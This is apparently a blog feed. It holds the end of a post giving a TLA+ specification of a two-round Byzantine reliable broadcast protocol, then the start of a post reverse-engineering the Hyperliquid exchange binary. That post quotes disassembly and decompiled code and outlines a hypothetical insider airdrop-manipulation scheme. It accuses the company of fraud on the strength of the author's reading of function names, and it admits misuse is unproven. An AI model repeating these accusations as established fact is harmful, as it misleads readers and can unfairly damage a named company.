127EchoSenders(p) ≜ {s ∈ P : ∃ v ∈ V : ⟨s, v⟩ ∈ rcvd_echo[p]}
128
129\* Who has sent us a ready?
130ReadySenders(p) ≜ {s ∈ P : ∃ w ∈ VExt : ⟨s, w⟩ ∈ rcvd_ready[p]}
131
132\* Counts derived from set cardinalities
133EchoCount(p, v) ≜ Cardinality({s ∈ P : ⟨s, v⟩ ∈ rcvd_echo[p]})
134ReadyCount(p, w) ≜ Cardinality({s ∈ P : ⟨s, w⟩ ∈ rcvd_ready[p]})
135AbortCount(p) ≜ Cardinality(rcvd_abort[p])
136TotalEchos(p) ≜ Cardinality(EchoSenders(p))
137TotalReadys(p) ≜ Cardinality(ReadySenders(p))
138MaxEchoCount(p) ≜ SetMax({EchoCount(p, v) : v ∈ V})
139MaxReadyCount(p) ≜ SetMax({ReadyCount(p, v) : v ∈ V})
140
141\* ============================================================================
142\* Threshold Predicates
143\* ============================================================================
144\* [RCAST-ECHO-QUORUM]
145EchoQuorum(p, t) ≜ {v ∈ V : EchoCount(p, v) ≥ t}
146
147\* [RCAST-READY-QUORUM]
148ReadyQuorum(p, t) ≜ {v ∈ V : ReadyCount(p, v) ≥ t}
149
150\* [RCAST-BOT-QUORUM]
151HasReadyBottomQuorum(p, t) ≜ ReadyCount(p, Bottom) ≥ t
152
153\* [RCAST-PLURALITY]
154\* Unique max or ⊥ if tied
155PluralityAmongReceived(p) ≜
156 LET maxCnt ≜ MaxEchoCount(p)
157 winners ≜ {v ∈ V : EchoCount(p, v) = maxCnt}
158 IN IF Cardinality(winners) = 1 ∧ maxCnt > 0
159 THEN CHOOSE v ∈ winners : TRUE
160 ELSE Bottom
161
162\* [RCAST-CAN-REACH-QUORUM]
163\* Can any value still reach quorum?
164CanReachQuorum(p) ≜
165 LET remaining ≜ N - TotalReadys(p)
166 IN MaxReadyCount(p) + remaining ≥ Q
167
168\* [RCAST-CAN-WIN]
169\* Can w still hit quorum? (TRUE if w = NULL since question is N/A)
170CanWin(p, w) ≜
171 IF w = NULL THEN TRUE
172 ELSE LET remaining ≜ N - TotalReadys(p)
173 IN ReadyCount(p, w) + remaining ≥ Q
174
175\* [RCAST-ECHO-BACKING]
176HasEchoBacking(p, v) ≜ EchoCount(p, v) ≥ Qe
177
178\* [RCAST-CAN-REACH-ECHO-BACKING]
179\* Discount up to f missing senders (Byzantine may omit forever)
180HonestEchoSenders(p) ≜ Cardinality({h ∈ Honest : ∃ v ∈ V : ⟨h, v⟩ ∈ rcvd_echo[p]})
181
182CanReachEchoBacking(p) ≜
183 LET honestRemaining ≜ Cardinality(Honest) - HonestEchoSenders(p)
184 IN MaxEchoCount(p) + honestRemaining ≥ Qe
185
186\* ============================================================================
187\* Byzantine Nondeterminism Reduction
188\* ============================================================================
189(*
190 Limit Byzantine to "interesting" values that could affect outcome.
191 Sound because unknown values can't reach thresholds (honest won't echo/ready).
192 *)
193
194\* Values that are "in play" at process p
195InterestingEchoValues(p) ≜
196 {input[h] : h ∈ Honest} \* Honest inputs
197 ∪ {v ∈ V : EchoCount(p, v) > 0} \* Already seen echoes
198
199InterestingReadyValues(p) ≜
200 {input[h] : h ∈ Honest} \* Honest inputs
201 ∪ {v ∈ V : EchoCount(p, v) > 0} \* Echoed values
202 ∪ {v ∈ V : ReadyCount(p, v) > 0} \* Already seen readies
203
204\* ============================================================================
205\* Type Invariant
206\* ============================================================================
207TypeOK ≜
208 ∧ input ∈ [Honest → V]
209 \* Honest broadcast state
210 ∧ sent_echo ∈ [Honest → V ∪ {NULL}]
211 ∧ sent_ready ∈ [Honest → VExt ∪ {NULL}]
212 ∧ sent_abort ∈ [Honest → BOOLEAN]
213 \* Per-sender receive tracking
214 ∧ rcvd_echo ∈ [Honest → SUBSET (P × V)]
215 ∧ rcvd_ready ∈ [Honest → SUBSET (P × VExt)]
216 ∧ rcvd_abort ∈ [Honest → SUBSET P]
217 ∧ delivered ∈ [Honest → VExt ∪ {NULL}]
218
219\* ============================================================================
220\* Protocol Initialization
221\* ============================================================================
222Init ≜
223 ∧ input ∈ [Honest → V]
224 \* Honest broadcast state
225 ∧ sent_echo = [h ∈ Honest ↦ NULL]
226 ∧ sent_ready = [h ∈ Honest ↦ NULL]
227 ∧ sent_abort = [h ∈ Honest ↦ FALSE]
228 \* Per-sender receive tracking
229 ∧ rcvd_echo = [p ∈ Honest ↦ {}]
230 ∧ rcvd_ready = [p ∈ Honest ↦ {}]
231 ∧ rcvd_abort = [p ∈ Honest ↦ {}]
232 ∧ delivered = [p ∈ Honest ↦ NULL]
233
234\* ============================================================================
235\* Message Reception
236\* ============================================================================
237(*
238 Byzantine equivocation: faulty senders send different values to different
239 recipients. Modeled via nondeterministic receive from faulty, constrained
240 by at-most-once per (src, dst). Honest senders broadcast uniformly.
241 *)
242
243\* Receive ECHO from an honest sender (must match what they broadcast)
244ReceiveEchoFromHonest(p, h) ≜
245 ∧ delivered[p] = NULL
246 ∧ h ∈ Honest
247 ∧ ¬∃ v ∈ V : ⟨h, v⟩ ∈ rcvd_echo[p]
248 ∧ sent_echo[h] ≠ NULL
249 ∧ rcvd_echo' = [rcvd_echo EXCEPT ![p] = @ ∪ {⟨h, sent_echo[h]⟩}]
250 ∧ UNCHANGED ⟨input, send_vars, rcvd_ready, rcvd_abort, delivered⟩
251
252\* Receive ECHO from a faulty sender (limited to interesting values)
253ReceiveEchoFromFaulty(p, f) ≜
254 ∧ delivered[p] = NULL
255 ∧ f ∈ Faulty
256 ∧ ¬∃ v ∈ V : ⟨f, v⟩ ∈ rcvd_echo[p]
257 ∧ ∃ v ∈ InterestingEchoValues(p) :
258 rcvd_echo' = [rcvd_echo EXCEPT ![p] = @ ∪ {⟨f, v⟩}]
259 ∧ UNCHANGED ⟨input, send_vars, rcvd_ready, rcvd_abort, delivered⟩
260
261ReceiveEcho(p) ≜
262 ∨ ∃ h ∈ Honest : ReceiveEchoFromHonest(p, h)
263 ∨ ∃ f ∈ Faulty : ReceiveEchoFromFaulty(p, f)
264
265\* Receive READY from an honest sender (value or ⊥)
266ReceiveReadyFromHonest(p, h) ≜
267 ∧ delivered[p] = NULL
268 ∧ h ∈ Honest
269 ∧ ¬∃ w ∈ VExt : ⟨h, w⟩ ∈ rcvd_ready[p]
270 ∧ sent_ready[h] ≠ NULL
271 ∧ rcvd_ready' = [rcvd_ready EXCEPT ![p] = @ ∪ {⟨h, sent_ready[h]⟩}]
272 ∧ UNCHANGED ⟨input, send_vars, rcvd_echo, rcvd_abort, delivered⟩
273
274\* Receive READY(v) from a faulty sender (limited to interesting values)
275ReceiveReadyValueFromFaulty(p, f) ≜
276 ∧ delivered[p] = NULL
277 ∧ f ∈ Faulty
278 ∧ ¬∃ w ∈ VExt : ⟨f, w⟩ ∈ rcvd_ready[p]
279 ∧ ∃ v ∈ InterestingReadyValues(p) :
280 rcvd_ready' = [rcvd_ready EXCEPT ![p] = @ ∪ {⟨f, v⟩}]
281 ∧ UNCHANGED ⟨input, send_vars, rcvd_echo, rcvd_abort, delivered⟩
282
283\* Receive READY(⊥) from a faulty sender
284ReceiveReadyBottomFromFaulty(p, f) ≜
285 ∧ delivered[p] = NULL
286 ∧ f ∈ Faulty
287 ∧ ¬∃ w ∈ VExt : ⟨f, w⟩ ∈ rcvd_ready[p]
288 ∧ rcvd_ready' = [rcvd_ready EXCEPT ![p] = @ ∪ {⟨f, Bottom⟩}]
289 ∧ UNCHANGED ⟨input, send_vars, rcvd_echo, rcvd_abort, delivered⟩
290
291ReceiveReady(p) ≜
292 ∨ ∃ h ∈ Honest : ReceiveReadyFromHonest(p, h)
293 ∨ ∃ f ∈ Faulty : ReceiveReadyValueFromFaulty(p, f)
294 ∨ ∃ f ∈ Faulty : ReceiveReadyBottomFromFaulty(p, f)
295
296\* Receive ABORT from an honest sender
297ReceiveAbortFromHonest(p, h) ≜
298 ∧ delivered[p] = NULL
299 ∧ h ∈ Honest
300 ∧ h ∉ rcvd_abort[p]
301 ∧ sent_abort[h] = TRUE
302 ∧ rcvd_abort' = [rcvd_abort EXCEPT ![p] = @ ∪ {h}]
303 ∧ UNCHANGED ⟨input, send_vars, rcvd_echo, rcvd_ready, delivered⟩
304
305\* Receive ABORT from a faulty sender (at any time)
306ReceiveAbortFromFaulty(p, f) ≜
307 ∧ delivered[p] = NULL
308 ∧ f ∈ Faulty
309 ∧ f ∉ rcvd_abort[p]
310 ∧ rcvd_abort' = [rcvd_abort EXCEPT ![p] = @ ∪ {f}]
311 ∧ UNCHANGED ⟨input, send_vars, rcvd_echo, rcvd_ready, delivered⟩
312
313ReceiveAbort(p) ≜
314 ∨ ∃ h ∈ Honest : ReceiveAbortFromHonest(p, h)
315 ∨ ∃ f ∈ Faulty : ReceiveAbortFromFaulty(p, f)
316
317Receive(p) ≜
318 ∨ ReceiveEcho(p)
319 ∨ ReceiveReady(p)
320 ∨ ReceiveAbort(p)
321
322\* ============================================================================
323\* Honest Party Actions
324\* ============================================================================
325
326\* E1: [RCAST-SEND-ECHO]
327\* Upon start: broadcast ECHO(input)
328SendEcho(self) ≜
329 ∧ sent_echo[self] = NULL
330 ∧ delivered[self] = NULL
331 ∧ LET v ≜ input[self]
332 IN sent_echo' = [sent_echo EXCEPT ![self] = v]
333 ∧ UNCHANGED ⟨input, sent_ready, sent_abort, recv_vars, delivered⟩
334
335\* R1: [RCAST-READY-ON-ECHO-QUORUM]
336\* Upon receiving Q echoes for value v: broadcast READY(v)
337ReadyOnEchoQuorum(self) ≜
338 ∧ sent_ready[self] = NULL
339 ∧ delivered[self] = NULL
340 ∧ ∃ v ∈ EchoQuorum(self, Q) :
341 sent_ready' = [sent_ready EXCEPT ![self] = v]
342 ∧ UNCHANGED ⟨input, sent_echo, sent_abort, recv_vars, delivered⟩
343
344\* R2: [RCAST-READY-ON-TIMEOUT]
345\* Upon timeout with Q total echoes but no quorum: broadcast READY(plurality) or READY(⊥)
346\* Only proceed if: (1) plurality has echo-backing, OR (2) can't reach echo-backing (waiting won't help)
347\* This ensures we wait on ties when more echoes could break them.
348ReadyOnTimeout(self) ≜
349 ∧ sent_ready[self] = NULL
350 ∧ delivered[self] = NULL
351 ∧ TotalEchos(self) ≥ Q
352 ∧ EchoQuorum(self, Q) = {}
353 ∧ LET plurality ≜ PluralityAmongReceived(self)
354 IN ∧ (plurality ≠ Bottom ∧ HasEchoBacking(self, plurality)) ∨ ¬CanReachEchoBacking(self)
355 ∧ sent_ready' = [sent_ready EXCEPT ![self] =
356 IF plurality ≠ Bottom ∧ HasEchoBacking(self, plurality)
357 THEN plurality
358 ELSE Bottom]
359 ∧ UNCHANGED ⟨input, sent_echo, sent_abort, recv_vars, delivered⟩
360
361\* R3: [RCAST-READY-AMPLIFY-VALUE]
362\* Bracha amplification: f+1 READYs force the network.
363\* No echo-backing gate here - that would break totality under equivocation.
364\* Echo-backing is appropriate for originating READYs (R2), not amplification.
365ReadyAmplifyValue(self) ≜
366 ∧ sent_ready[self] = NULL
367 ∧ delivered[self] = NULL
368 ∧ ∃ v ∈ ReadyQuorum(self, Qa) :
369 sent_ready' = [sent_ready EXCEPT ![self] = v]
370 ∧ UNCHANGED ⟨input, sent_echo, sent_abort, recv_vars, delivered⟩
371
372\* R4: [RCAST-READY-AMPLIFY-BOT]
373\* Upon receiving Qa READY(⊥): broadcast READY(⊥)
374ReadyAmplifyBottom(self) ≜
375 ∧ sent_ready[self] = NULL
376 ∧ delivered[self] = NULL
377 ∧ HasReadyBottomQuorum(self, Qa)
378 ∧ sent_ready' = [sent_ready EXCEPT ![self] = Bottom]
379 ∧ UNCHANGED ⟨input, sent_echo, sent_abort, recv_vars, delivered⟩
380
381\* D1: [RCAST-OPTIMISTIC-DELIVER]
382\* Upon receiving Qo echoes for v: deliver v (fast path)
383OptimisticDeliver(self) ≜
384 ∧ delivered[self] = NULL
385 ∧ ∃ v ∈ EchoQuorum(self, Qo) :
386 ∧ sent_ready[self] ∈ {NULL, v}
387 ∧ delivered' = [delivered EXCEPT ![self] = v]
388 ∧ IF sent_ready[self] = NULL
389 THEN sent_ready' = [sent_ready EXCEPT ![self] = v]
390 ELSE UNCHANGED sent_ready
391 ∧ UNCHANGED ⟨input, sent_echo, sent_abort, recv_vars⟩
392
393\* D2: [RCAST-DELIVER-ON-READY-VALUE]
394\* Upon receiving Q READY(v): deliver v
395DeliverOnReadyValue(self) ≜
396 ∧ delivered[self] = NULL
397 ∧ ∃ v ∈ ReadyQuorum(self, Q) :
398 \* Primary guard: readied in {⊥, v}. Fallback: readied value can't win.
399 ∧ ∨ sent_ready[self] ∈ {NULL, v}
400 ∨ ¬CanWin(self, sent_ready[self])
401 ∧ delivered' = [delivered EXCEPT ![self] = v]
402 ∧ IF sent_ready[self] = NULL
403 THEN sent_ready' = [sent_ready EXCEPT ![self] = v]
404 ELSE UNCHANGED sent_ready
405 ∧ UNCHANGED ⟨input, sent_echo, sent_abort, recv_vars⟩
406
407\* D3: [RCAST-DELIVER-ON-READY-BOT]
408\* Upon receiving Q READY(⊥): deliver ⊥
409DeliverOnReadyBottom(self) ≜
410 ∧ delivered[self] = NULL
411 ∧ HasReadyBottomQuorum(self, Q)
412 \* Primary guard: readied in {⊥, ⊥}. Fallback: readied value can't win.
413 ∧ ∨ sent_ready[self] ∈ {NULL, Bottom}
414 ∨ ¬CanWin(self, sent_ready[self])
415 ∧ delivered' = [delivered EXCEPT ![self] = Bottom]
416 ∧ IF sent_ready[self] = NULL
417 THEN sent_ready' = [sent_ready EXCEPT ![self] = Bottom]
418 ELSE UNCHANGED sent_ready
419 ∧ UNCHANGED ⟨input, sent_echo, sent_abort, recv_vars⟩
420
421\* A1: [RCAST-SEND-ABORT]
422\* Upon detecting no value can reach quorum: broadcast ABORT
423SendAbort(self) ≜
424 ∧ sent_abort[self] = FALSE
425 ∧ delivered[self] = NULL
426 ∧ sent_ready[self] ≠ NULL
427 ∧ TotalReadys(self) ≥ Q
428 ∧ ReadyQuorum(self, Q) = {}
429 ∧ ¬HasReadyBottomQuorum(self, Q)
430 ∧ ¬CanReachQuorum(self)
431 ∧ sent_abort' = [sent_abort EXCEPT ![self] = TRUE]
432 ∧ UNCHANGED ⟨input, sent_echo, sent_ready, recv_vars, delivered⟩
433
434\* A2: [RCAST-ABORT-AMPLIFY]
435\* Upon receiving Qa ABORTs: broadcast ABORT
436AbortAmplify(self) ≜
437 ∧ sent_abort[self] = FALSE
438 ∧ delivered[self] = NULL
439 ∧ sent_ready[self] ≠ NULL
440 ∧ AbortCount(self) ≥ Qa
441 ∧ sent_abort' = [sent_abort EXCEPT ![self] = TRUE]
442 ∧ UNCHANGED ⟨input, sent_echo, sent_ready, recv_vars, delivered⟩
443
444\* A3: [RCAST-DELIVER-ON-ABORT]
445\* Upon receiving Q ABORTs: deliver ⊥
446DeliverOnAbort(self) ≜
447 ∧ delivered[self] = NULL
448 ∧ sent_ready[self] ≠ NULL
449 ∧ AbortCount(self) ≥ Q
450 \* Coverage guard: must hear from enough distinct parties before deciding.
451 \* Without this, NoValueCouldHaveWon passes trivially when honest readies in flight.
452 ∧ TotalReadys(self) ≥ Q
453 \* [RCAST-ABORT-SAFETY-GUARD]
454 \* Block ⊥ delivery if any value might have reached quorum elsewhere.
455 \* If v got Q readies globally, at least Q-F honest sent READY(v).
456 \* Having heard from Q processes (>=Q-F honest), by pigeonhole:
457 \* overlap >= (Q-F) + (Q-F) - (N-F) = Q - 2F
458 \* So we'd see at least Q-2F readies for v locally.
459 ∧ ReadyQuorum(self, Q - 2*F) = {}
460 ∧ delivered' = [delivered EXCEPT ![self] = Bottom]
461 ∧ IF sent_abort[self] = FALSE
462 THEN sent_abort' = [sent_abort EXCEPT ![self] = TRUE]
463 ELSE UNCHANGED sent_abort
464 \* Note: sent_ready[self] /= NULL is a precondition, so no ready-if-not-sent logic needed
465 ∧ UNCHANGED ⟨input, sent_echo, sent_ready, recv_vars⟩
466
467HonestStep(self) ≜
468 ∨ SendEcho(self)
469 ∨ ReadyOnEchoQuorum(self)
470 ∨ ReadyOnTimeout(self)
471 ∨ ReadyAmplifyValue(self)
472 ∨ ReadyAmplifyBottom(self)
473 ∨ OptimisticDeliver(self)
474 ∨ DeliverOnReadyValue(self)
475 ∨ DeliverOnReadyBottom(self)
476 ∨ SendAbort(self)
477 ∨ AbortAmplify(self)
478 ∨ DeliverOnAbort(self)
479
480\* ============================================================================
481\* Specification
482\* ============================================================================
483Terminated ≜ ∀ p ∈ Honest : delivered[p] ≠ NULL
484
485Done ≜ Terminated ∧ UNCHANGED vars
486
487Next ≜
488 ∨ ∃ p ∈ Honest : HonestStep(p)
489 ∨ ∃ p ∈ Honest : Receive(p)
490 \* Faulty actions via nondeterminism in ReceiveXxxFromFaulty
491 ∨ Done
492
493\* Honest processes take enabled actions; honest-to-honest channels reliable.
494\* NO fairness for Byzantine receives - adversary can omit arbitrarily.
495Fairness ≜
496 ∧ ∀ p ∈ Honest : WF_vars(HonestStep(p))
497 ∧ ∀ p ∈ Honest : ∀ h ∈ Honest : WF_vars(ReceiveEchoFromHonest(p, h))
498 ∧ ∀ p ∈ Honest : ∀ h ∈ Honest : WF_vars(ReceiveReadyFromHonest(p, h))
499 ∧ ∀ p ∈ Honest : ∀ h ∈ Honest : WF_vars(ReceiveAbortFromHonest(p, h))
500
501Spec ≜ Init ∧ □[Next]_vars ∧ Fairness
502
503\* ============================================================================
504\* Safety Properties
505\* ============================================================================
506
507\* [RCAST-INV-AGREEMENT]
508Agreement ≜
509 ∀ p, q ∈ Honest :
510 (delivered[p] ≠ NULL ∧ delivered[q] ≠ NULL) ⇒ delivered[p] = delivered[q]
511
512HonestInputCount(v) ≜ Cardinality({p ∈ Honest : input[p] = v})
513H ≜ Cardinality(Honest)
514
515HasSupermajority(v) ≜ HonestInputCount(v) ≥ Qs
516
517SupermajorityValue ≜
518 IF ∃ v ∈ V : HasSupermajority(v)
519 THEN CHOOSE v ∈ V : HasSupermajority(v)
520 ELSE Bottom
521
522SimpleMajorityThreshold ≜ H ÷ 2 + 1
523HasSimpleMajority(v) ≜ HonestInputCount(v) ≥ SimpleMajorityThreshold
524
525SimpleMajorityValue ≜
526 IF ∃ v ∈ V : HasSimpleMajority(v)
527 THEN CHOOSE v ∈ V : HasSimpleMajority(v)
528 ELSE Bottom
529
530\* [RCAST-INV-STRONG-VALIDITY]
531StrongValidity ≜
532 LET sm ≜ SupermajorityValue
533 IN sm ≠ Bottom ⇒
534 ∀ p ∈ Honest : delivered[p] ≠ NULL ⇒ delivered[p] = sm
535
536\* [RCAST-INV-WEAK-VALIDITY]
537WeakValidity ≜
538 ∀ p ∈ Honest :
539 delivered[p] ∈ V ⇒ HonestInputCount(delivered[p]) > 0
540
541\* [RCAST-INV-INTEGRITY]
542Integrity ≜
543 ∀ p ∈ Honest :
544 delivered[p] = Bottom ⇒ SupermajorityValue = Bottom
545
546Validity ≜ StrongValidity
547
548\* ============================================================================
549\* Liveness
550\* ============================================================================
551
552\* [RCAST-TERMINATION]
553Termination ≜ ∀ p ∈ Honest : ◇(delivered[p] ≠ NULL)
554
555=============================================================================

Note on CanReachEchoBacking: Only used for R2’s plurality demotion. The formula conservatively assumes all outstanding echoes could go to the leading value, minus f Byzantine who may not send. Post-timeout (when all honest echoes have arrived), this becomes exact. R3 amplification doesn’t require echo-backing.

The implementation uses (n - TotalEchoes) - f to approximate remaining honest senders. The TLA+ spec uses the exact Cardinality(Honest) - HonestEchoSenders(p). These are equivalent post-timeout but differ during execution.

0x5: Putting It Together

Property	Bracha	Round-Optimized	MVA
Best case	3 rounds	2 rounds	2 rounds
Worst case	3 rounds	3 rounds	4 rounds
Messages	$O(n^2)$	$O(n^2)$	$O(n^2)$
Fault tolerance	$n > 3f$	$n > 3f$	$n > 3f$
Input model	Single leader	Single leader	All propose

Bigger quorums give stronger intersection properties, which lets us skip rounds when conditions are good. The cost is a slightly higher threshold, but when the network is healthy and honest parties dominate, hitting $Q_o$ vs $Q$ is a matter of one or two more messages, not an extra round.

0x6: Wrapping Up

So there you have it: Byzantine reliable broadcast in 2 rounds instead of 3, using the counterintuitive approach of a larger quorum for the fast path. The bigger quorum gives us stronger intersection properties, enough honest parties in the overlap to eliminate the voting round when conditions are good.

A nice reminder that even “solved” problems from 1987 can hide optimizations. Now to find what other decades-old algorithms are hiding in plain sight…

Reverse Engineering Hyperliquid ft. SetYesterdayUserVlm

Sat, 20 Dec 2025 00:00:00 +0000

What happens when you take IDA Pro to a $30B “decentralized” exchange?

Hyperliquid markets itself as a “fully on-chain order book perpetual exchange.” $1 trillion in trading volume. $30 billion valuation. Crypto Twitter calls it the future of DeFi.

I decided to see what the hype was and googled “hyperliquid github”. To my surprise, there was no source code. The repository tells you to download this hl-visor blob, run it, and let it download more blobs to execute for you.

Say what now?

How did we go from “code is law” and people measuring each other’s Nakamoto coefficients to whatever the hell this is? The idea of a closed-source blockchain was very intriguing (because why would you do that if you are not hiding anything?) so as you can imagine I decided to take a look.

Hyperliquid is a centralized exchange (if not worse than that due to the lack of financial audits & regulation) masquerading as a blockchain:

A “CoreWriter” godmode that can mint tokens, move user funds without signatures, crash random validators and basically do whatever it wants
Transaction types that do exactly what they say: TestnetSetYesterdayUserVlm, retroactive volume manipulation shipped in the mainnet binary
A “scheduled freeze” mechanism with no unfreeze capability
Only 8 broadcaster addresses can submit transactions: everyone else routes through them. They live in on-chain state, are governance-modifiable, and are undocumented.
Oracle price override capabilities with no timelocks, bounds, or multi-sig requirements
Bridge withdrawals can be censored forever: no timeout, no escape hatch
Governance proposals are stored but effectively unqueryable: users see votes happened, not what was proposed
$362M accounting gap: user claims exceed bridge balance (explained: Circle’s native USDC on HyperEVM)
Undocumented lending protocol: a fully deployed borrow/lend system (BOLE) live on mainnet

Every claim includes addresses into the binary and L1 state that you can verify yourself.

Shall we?

0x1: The “Testnet” Function

The genesis airdrop allocated 31% of supply (~310M tokens) to ~94k users based on testnet activity. The binary contains TestnetSetYesterdayUserVlm: retroactive volume manipulation. This function’s existance at any point in time destroys integrity / community-ownership claims.

The most damning evidence sits in the binary’s string table, indexed like a feature list. Hyperliquid’s developers built infrastructure to fabricate trading volume retroactively, named it after the capability, and still ship it in the current mainnet binary.

TestnetSetYesterdayUserVlm

The deserializer 0x1F40200 contains a little branch that handles the following Rust structure:

 1enum VoteGlobalAction {
 2 // ...
 3 // 0x57:
 4 TestnetSetYesterdayUserVlm {
 5 user: [u8; 20], // Target wallet
 6 wei: u64, // Perpetual volume
 7 cross: u64, // Cross margin volume
 8 spot_add: u64, // Spot addition volume
 9 spot_cross: u64, // Spot cross volume
10 }
11}

Read that struct again: TestnetSetYesterdayUserVlm. Not “testing infrastructure” or “debugging tools.” The literal function is to set yesterday’s user volume.

Volume Storage Structure

Volume data is stored in BTreeMap structures optimized for daily aggregation:

 1// DailyScaledVlms structure (referenced at 0x2aa3f60, 0x2eefa90)
 2struct DailyScaledVlms {
 3 day_to_user_vlm: BTreeMap<u32, BTreeMap<Address, UserVolume>>,
 4 // Indexed by (day, user address) for efficient range queries
 5}
 6
 7struct UserVolume {
 8 wei_scaled: u64, // Perpetual volume in wei units
 9 cross_scaled: u64, // Cross margin volume
10 spot_add_scaled: u64, // Spot addition volume
11 spot_cross_scaled: u64, // Spot cross volume
12}

These structures persist to RocksDB under column families in hyperliquid_data/. Volume queries aggregate across day ranges to compute cumulative metrics for fee tiers and any volume-gated programs.

Here’s the exact code, which first checks the network type:

1; Handler for case 0x57 (TestnetSetYesterdayUserVlm)
20x1f3638d: cmp byte ptr [r13+3505h], 3 ; r13 = state pointer
3 ; offset 0x3505 = network_type field
4 ; value 3 = mainnet discriminant
50x1f36395: jz loc_1F39041 ; Jump to error if mainnet
6...

After passing the check, the handler executes two state mutations:

 1; From continuation at 0x1f3bb28 after mainnet check passes
 20x1f3bb28: call cs:off_48499B0 ; update_daily_scaled_vlm_for_user
 3 ; Resolved to 0x2aa3f60
 4 ; Args: (state, day, user, wei_scaled, cross_scaled)
 5
 60x1f3bb2e: lea rdx, [rsp+918h+var_3A8]
 70x1f3bb36: mov rdi, r12 ; state pointer
 80x1f3bb39: mov esi, ebx ; day value
 90x1f3bb3b: mov rcx, r14 ; user address
100x1f3bb3e: mov r8, r13 ; spot volumes
11
120x1f3bb41: call cs:off_48499B8 ; update_user_volume_state
13 ; Resolved to 0x2eefa90
14 ; Args: (state, day, user, spot_add_scaled, spot_cross_scaled)

These functions perform direct BTreeMap state writes without intermediate validation:

0x2aa3f60: Inserts/updates (day, user) -> (wei_scaled, cross_scaled)

 1unsigned __int8 __fastcall update_daily_scaled_vlm_for_user(_QWORD *a1, int a2, _DWORD *a3, __int64 a4, __int64 a5)
 2{
 3 // a1 = state pointer
 4 // a2 = day (u32)
 5 // a3 = user address (20 bytes)
 6 // a4, a5 = wei_scaled and cross_scaled volumes (u64 each)
 7
 8 v12 = (_QWORD *)sub_2C32C70(a1 + 34, &v36); // BTreeMap lookup at state+272
 9
10 // Binary search through BTreeMap by day
11 while ( v14 ) {
12 v11 = 4 * (unsigned int)*(unsigned __int16 *)(v14 + 230);
13 // Compare day values in sorted map
14 v15 = (a2 > *(_DWORD *)(v14 + 4 * v9 + 188)) - (a2 < *(_DWORD *)(v14 + 4 * v9 + 188));
15 // ...
16 }
17
18 // Insert/update entry
19 v19 = (_QWORD *)insert_or_update_btreemap_entry(&v36, v9, v10, v14, v11);
20 *v19 = a4; // Write wei_scaled volume
21 v19[1] = a5; // Write cross_scaled volume
22
23 return result;
24}

0x2eefa90: Inserts/updates (day, user) -> (spot_add_scaled, spot_cross_scaled)

 1_QWORD *__fastcall update_user_volume_state(__int64 a1, int a2, __int64 a3, __int64 a4, __int64 a5)
 2{
 3 // a1 = state pointer
 4 // a2 = day (u32)
 5 // a3 = user address
 6 // a4, a5 = spot_add_scaled and spot_cross_scaled volumes
 7
 8 v9 = sub_2C33590(a1 + 288, a3); // BTreeMap lookup at state+288
 9 v11 = v9 + 40;
10 v12 = *(_QWORD *)(v9 + 40);
11
12 // Binary search similar to above
13 // ...
14
15 result = (_QWORD *)insert_or_update_btreemap_entry(&v17, v8, v12, v11, v10);
16 *result = a4; // Write spot_add_scaled
17 result[1] = a5; // Write spot_cross_scaled
18
19 return result;
20}

Both functions follow identical patterns: lookup the user’s entry in a nested BTreeMap, binary search by day, then directly write the volume values. No validation, no bounds checking, no authorization beyond the mainnet network check at the handler level.

ModifyNonCirculatingSupply

Fake volume can generate disproportionate token allocation if rewards depend on volume. Those tokens can be hidden from circulating supply metrics via the ModifyNonCirculatingSupply governance action.

1enum VoteGlobalAction {
2 // ...
3 // 0x25:
4 ModifyNonCirculatingSupply {
5 token: u32, // Token index
6 add: u64, // Amount to mark as non-circulating
7 remove: u64, // Amount to return to circulation
8 }
9}

If volume-based rewards generate token emissions, insiders could:

Generate tokens via fabricated volume
Use ModifyNonCirculatingSupply to classify those tokens as “non-circulating”
Public APIs would report circulatingSupply = totalSupply - nonCirculatingSupply
Apparent token supply appears lower, potentially supporting higher prices

The Complete Testnet Toolkit

Few other testnet actions are available:

TestnetAddMainnetUsers action (discriminant 0x58) copies user state between environments. If testnet volumes are inflated via TestnetSetYesterdayUserVlm, and those volume fields are migrated, fabricated metrics persist as “legitimate” history.
TestnetDepositFor creates USDC deposits for arbitrary addresses without requiring Ethereum bridge activity.
TestnetFixUsdc adjusts balances directly.
TestnetSpotSendFor transfers tokens on behalf of users without their signature.

A Hypothetical

Let’s entertain a hypothetical sequence of events:

Testnet phase: Create sybil wallets, fund via TestnetDepositFor (0x52), execute wash trades. Use TestnetSetYesterdayUserVlm (0x57) to retroactively inflate volume metrics without market risk.
Migration: Use TestnetAddMainnetUsers (0x58) to copy inflated accounts to mainnet. The attacker-controlled wallets now show artificially high activity. When airdrops are distributed proportional to reported volume, these insiders claim a disproportionate share.
Supply manipulation: Adjust non-circulating supply via ModifyNonCirculatingSupply (0x25) to hide token allocations, if volume rewards generate emissions.

Proving this actually happened would require pre-migration testnet state or comprehensive forensic reconstruction: data not made public.

Why This Matters

The mainnet guard is not as innocent as it seems here. This code was meant for testnet, and testnet data is what drove allocation.

You couldn’t even join the “pretend validator set” (we’ll get to that) until a few months ago, so it’s not like we can investigate how or why they were used. The existence of TestnetSetYesterdayUserVlm in the binary however, is like finding a steal_user_funds function in a bank’s server code. The function’s presence is the problem. Its execution doesn’t need to be proven when the capability alone violates the trust model claimed in marketing materials.

Legitimate protocols don’t ship retroactive volume manipulation. They don’t maintain “unrewarded user” exclusion lists. They don’t vote to manipulate supply calculations. They don’t name functions after retroactive fraud operations.

The “testnet-to-mainnet” narrative was a story about fair distribution. The code tells a different story.

0x2: The Gatekeepers

8 undisclosed addresses control all transaction submission. If they censor you, there’s no alternative, no L1 to appeal to.

Every blockchain needs transaction submission. Ethereum and Bitcoin have thousands of nodes accepting transactions. Hyperliquid has 8 broadcaster addresses in the on-chain allowlist (snapshot 2025-12-19). They are governance-modifiable, undocumented, and match no publicly known wallets.

The lifecycle of a transaction looks like this:

 1┌──────────────────┐
 2│ User signs order │ <─── You control this
 3└────────┬─────────┘
 4 ▼
 5┌──────────────────────────────┐
 6│ API wraps in │
 7│ SignedActionWrapper { │
 8│ broadcaster: 0x??????... │ <─── One of 8 addresses
 9│ broadcaster_nonce: 12345 │
10│ } │
11└────────┬─────────────────────┘
12 ▼
13┌──────────────────────────────┐
14│ Validator checks: │
15│ 1. broadcaster ∈ whitelist? │ <─── TxUnexpectedBroadcaster
16│ 2. nonce valid? │ <─── TxInvalidBroadcasterNonce
17│ 3. signature valid? │
18└────────┬─────────────────────┘
19 ▼
20┌──────────────────┐
21│ Execute on-chain │
22└──────────────────┘

